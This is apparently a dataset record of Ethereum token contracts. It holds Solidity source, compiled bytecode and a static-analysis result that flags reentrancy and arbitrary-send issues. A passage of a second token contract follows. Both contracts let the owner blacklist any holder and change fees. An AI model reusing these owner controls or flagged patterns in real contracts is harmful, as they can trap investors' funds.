uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e14610664578063e0f9f6a0146106aa578063ea1644d5146106ca578063f2fde38b146106ea578063fe72c3c11461070a57600080fd5b80639e78fb4f146105cf5780639ec350ed146105e45780639f13157114610604578063a9059cbb14610624578063c55284901461064457600080fd5b80637d1db4a5116100f25780637d1db4a514610534578063881dce601461054a5780638da5cb5b1461056a5780638f9a55c01461058857806395d89b411461059e57600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637c519ffb1461051f57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b8063313ce567146103ad57806333251a0b146103c957806338eea22d146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f57806328bb665a146103755780632fd689e31461039757600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b6040516102709190612173565b60405180910390f35b34801561028557600080fd5b5061029961029436600461201e565b610720565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611f6a565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a366004611fdd565b610737565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b5061039561039036600461204a565b6107a0565b005b3480156103a357600080fd5b50610331601d5481565b3480156103b957600080fd5b5060405160098152602001610270565b3480156103d557600080fd5b506103956103e4366004611f6a565b61083f565b3480156103f557600080fd5b50610395610404366004612151565b6108ae565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b50610395610444366004612138565b6108ff565b34801561045557600080fd5b50610395610464366004611f6a565b61093c565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b5061039561049a366004612116565b610996565b3480156104ab57600080fd5b506103956109de565b3480156104c057600080fd5b506103316104cf366004611f6a565b610a08565b3480156104e057600080fd5b50610395610a2a565b3480156104f557600080fd5b50610395610504366004612138565b610a9e565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610395610ae1565b34801561054057600080fd5b50610331601b5481565b34801561055657600080fd5b50610395610565366004612138565b610b3b565b34801561057657600080fd5b506000546001600160a01b0316610302565b34801561059457600080fd5b50610331601c5481565b3480156105aa57600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105db57600080fd5b50610395610bb7565b3480156105f057600080fd5b506103956105ff366004612151565b610d9c565b34801561061057600080fd5b5061039561061f366004612116565b610ded565b34801561063057600080fd5b5061029961063f36600461201e565b610e35565b34801561065057600080fd5b5061039561065f366004612151565b610e42565b34801561067057600080fd5b5061033161067f366004611fa4565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b657600080fd5b506103956106c5366004612138565b610e93565b3480156106d657600080fd5b506103956106e5366004612138565b610edd565b3480156106f657600080fd5b50610395610705366004611f6a565b610f1b565b34801561071657600080fd5b5061033160185481565b600061072d338484611005565b5060015b92915050565b6000610744848484611129565b610796843361079185604051806060016040528060288152602001612378602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906117ff565b611005565b5060019392505050565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016107ca906121c8565b60405180910390fd5b60005b815181101561083b576001600960008484815181106107f7576107f7612336565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061083381612305565b9150506107d6565b5050565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016107ca906121c8565b6001600160a01b03811660009081526009602052604090205460ff16156108ab576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016107ca906121c8565b60018211156108e657600080fd5b60018111156108f457600080fd5b600d91909155600f55565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016107ca906121c8565b600181111561093757600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461095c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109c05760405162461bcd60e51b81526004016107ca906121c8565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109fe57600080fd5b476108ab81611839565b6001600160a01b03811660009081526002602052604081205461073190611873565b6000546001600160a01b03163314610a545760405162461bcd60e51b81526004016107ca906121c8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac85760405162461bcd60e51b81526004016107ca906121c8565b66b1a2bc2ec50000811015610adc57600080fd5b601b55565b6000546001600160a01b03163314610b0b5760405162461bcd60e51b81526004016107ca906121c8565b601a54600160a01b900460ff1615610b2257600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b5b57600080fd5b610b6430610a08565b8111158015610b735750600081115b610bae5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ca565b6108ab816118f7565b6000546001600160a01b03163314610be15760405162461bcd60e51b81526004016107ca906121c8565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610c4157600080fd5b505afa158015610c55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c799190611f87565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc157600080fd5b505afa158015610cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf99190611f87565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d4157600080fd5b505af1158015610d55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d799190611f87565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610dc65760405162461bcd60e51b81526004016107ca906121c8565b6001821115610dd457600080fd5b6013811115610de257600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e175760405162461bcd60e51b81526004016107ca906121c8565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072d338484611129565b6000546001600160a01b03163314610e6c5760405162461bcd60e51b81526004016107ca906121c8565b600d821115610e7a57600080fd5b600d811115610e8857600080fd5b600e91909155601055565b6000546001600160a01b03163314610ebd5760405162461bcd60e51b81526004016107ca906121c8565b6004811115610ecb57600080fd5b610ed781610e106122cf565b60185550565b6000546001600160a01b03163314610f075760405162461bcd60e51b81526004016107ca906121c8565b601c54811015610f1657600080fd5b601c55565b6000546001600160a01b03163314610f455760405162461bcd60e51b81526004016107ca906121c8565b6001600160a01b038116610faa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ca565b6001600160a01b0382166110c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ca565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661113c57600080fd5b6001600160a01b03821661119e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ca565b600081116112005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ca565b6001600160a01b03821660009081526009602052604090205460ff16156112395760405162461bcd60e51b81526004016107ca906121fd565b6001600160a01b03831660009081526009602052604090205460ff16156112725760405162461bcd60e51b81526004016107ca906121fd565b3360009081526009602052604090205460ff16156112a25760405162461bcd60e51b81526004016107ca906121fd565b6000546001600160a01b038481169116148015906112ce57506000546001600160a01b03838116911614155b1561164757601a54600160a01b900460ff1661132c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ca565b601a546001600160a01b03838116911614801561135757506019546001600160a01b03848116911614155b15611409576001600160a01b038216301480159061137e57506001600160a01b0383163014155b801561139857506017546001600160a01b03838116911614155b80156113b257506017546001600160a01b03848116911614155b1561140957601b548111156114095760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ca565b601a546001600160a01b0383811691161480159061143557506017546001600160a01b03838116911614155b801561144a57506001600160a01b0382163014155b801561146157506001600160a01b03821661dead14155b1561154157601c548161147384610a08565b61147d9190612295565b106114d65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ca565b601a54600160b81b900460ff161561154157600a546114f7906104b0612295565b421161154157601e548111156115415760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107ca565b600061154c30610a08565b601d54909150811180801561156b5750601a54600160a81b900460ff16155b80156115855750601a546001600160a01b03868116911614155b801561159a5750601a54600160b01b900460ff165b80156115bf57506001600160a01b03851660009081526006602052604090205460ff16155b80156115e457506001600160a01b03841660009081526006602052604090205460ff16155b15611644576013546000901561161f57611614606461160e60135486611a8090919063ffffffff16565b90611aff565b905061161f81611b41565b61163161162c82856122ee565b6118f7565b4780156116415761164147611839565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061168957506001600160a01b03831660009081526006602052604090205460ff165b806116bb5750601a546001600160a01b038581169116148015906116bb5750601a546001600160a01b03848116911614155b156116c8575060006117ed565b601a546001600160a01b0385811691161480156116f357506019546001600160a01b03848116911614155b1561174e576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54141561174e576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561177957506019546001600160a01b03858116911614155b156117ed576001600160a01b038416600090815260046020526040902054158015906117ca57506018546001600160a01b03851660009081526004602052604090205442916117c791612295565b10155b156117e057600b54601155600c546012556117ed565b600f546011556010546012555b6117f984848484611b4e565b50505050565b600081848411156118235760405162461bcd60e51b81526004016107ca9190612173565b50600061183084866122ee565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083b573d6000803e3d6000fd5b60006007548211156118da5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ca565b60006118e4611b82565b90506118f08382611aff565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061193f5761193f612336565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561199357600080fd5b505afa1580156119a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119cb9190611f87565b816001815181106119de576119de612336565b6001600160a01b039283166020918202929092010152601954611a049130911684611005565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a3d908590600090869030904290600401612224565b600060405180830381600087803b158015611a5757600080fd5b505af1158015611a6b573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611a8f57506000610731565b6000611a9b83856122cf565b905082611aa885836122ad565b146118f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ca565b60006118f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ba5565b6108ab3061dead83611129565b80611b5b57611b5b611bd3565b611b66848484611c18565b806117f9576117f9601454601155601554601255601654601355565b6000806000611b8f611d0f565b9092509050611b9e8282611aff565b9250505090565b60008183611bc65760405162461bcd60e51b81526004016107ca9190612173565b50600061183084866122ad565b601154158015611be35750601254155b8015611bef5750601354155b15611bf657565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c2a87611d4f565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c5c9087611dac565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c8b9086611dee565b6001600160a01b038916600090815260026020526040902055611cad81611e4d565b611cb78483611e97565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611cfc91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611d2a8282611aff565b821015611d4657505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611d6c8a601154601254611ebb565b9250925092506000611d7c611b82565b90506000806000611d8f8e878787611f0a565b919e509c509a509598509396509194505050505091939550919395565b60006118f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117ff565b600080611dfb8385612295565b9050838110156118f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ca565b6000611e57611b82565b90506000611e658383611a80565b30600090815260026020526040902054909150611e829082611dee565b30600090815260026020526040902055505050565b600754611ea49083611dac565b600755600854611eb49082611dee565b6008555050565b6000808080611ecf606461160e8989611a80565b90506000611ee2606461160e8a89611a80565b90506000611efa82611ef48b86611dac565b90611dac565b9992985090965090945050505050565b6000808080611f198886611a80565b90506000611f278887611a80565b90506000611f358888611a80565b90506000611f4782611ef48686611dac565b939b939a50919850919650505050505050565b8035611f6581612362565b919050565b600060208284031215611f7c57600080fd5b81356118f081612362565b600060208284031215611f9957600080fd5b81516118f081612362565b60008060408385031215611fb757600080fd5b8235611fc281612362565b91506020830135611fd281612362565b809150509250929050565b600080600060608486031215611ff257600080fd5b8335611ffd81612362565b9250602084013561200d81612362565b929592945050506040919091013590565b6000806040838503121561203157600080fd5b823561203c81612362565b946020939093013593505050565b6000602080838503121561205d57600080fd5b823567ffffffffffffffff8082111561207557600080fd5b818501915085601f83011261208957600080fd5b81358181111561209b5761209b61234c565b8060051b604051601f19603f830116810181811085821117156120c0576120c061234c565b604052828152858101935084860182860187018a10156120df57600080fd5b600095505b83861015612109576120f581611f5a565b8552600195909501949386019386016120e4565b5098975050505050505050565b60006020828403121561212857600080fd5b813580151581146118f057600080fd5b60006020828403121561214a57600080fd5b5035919050565b6000806040838503121561216457600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156121a057858101830151858201604001528201612184565b818111156121b2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122745784516001600160a01b03168352938301939183019160010161224f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156122a8576122a8612320565b500190565b6000826122ca57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156122e9576122e9612320565b500290565b60008282101561230057612300612320565b500390565b600060001982141561231957612319612320565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108ab57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220601b2ae5bd59f2ff7c615330478faff16561b5c30c57dd0e24ba567ddcdbfa0164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,722 |
0x27a16527729d6d05340fc2dd20b91664dd57e6cc
|
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract TestOnly is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TestOnly";
string private constant _symbol = "NOBUY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _badBot;
mapping(address => uint256) private cooldown;
address payable private _market;
address payable private _dev1;
address payable private _dev2;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public tradeAllowed = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool public swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _reflection = 3;
uint256 private _teamFee = 7;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address payable addr3){
_market = addr1;
_dev1 = addr2;
_dev2 = addr3;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_market] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function enableTrading() external onlyOwner {
require(liquidityAdded);
tradeAllowed = true;
}
function setBadBot(address _bot, bool _bool) external onlyOwner {
_badBot[address(_bot)] = _bool;
}
function setExcludedFrom(address _address, bool _bool) external onlyOwner{
_isExcludedFromFee[_address] = _bool;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
_maxTxAmount = 20000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapLiquidityMarketing(contractBalance);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_badBot[from] && !_badBot[to] && !_badBot[tx.origin], "Apes only, no bad bots");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(tradeAllowed);
require(cooldown[to] < block.timestamp);
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.div(100).mul(3));
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
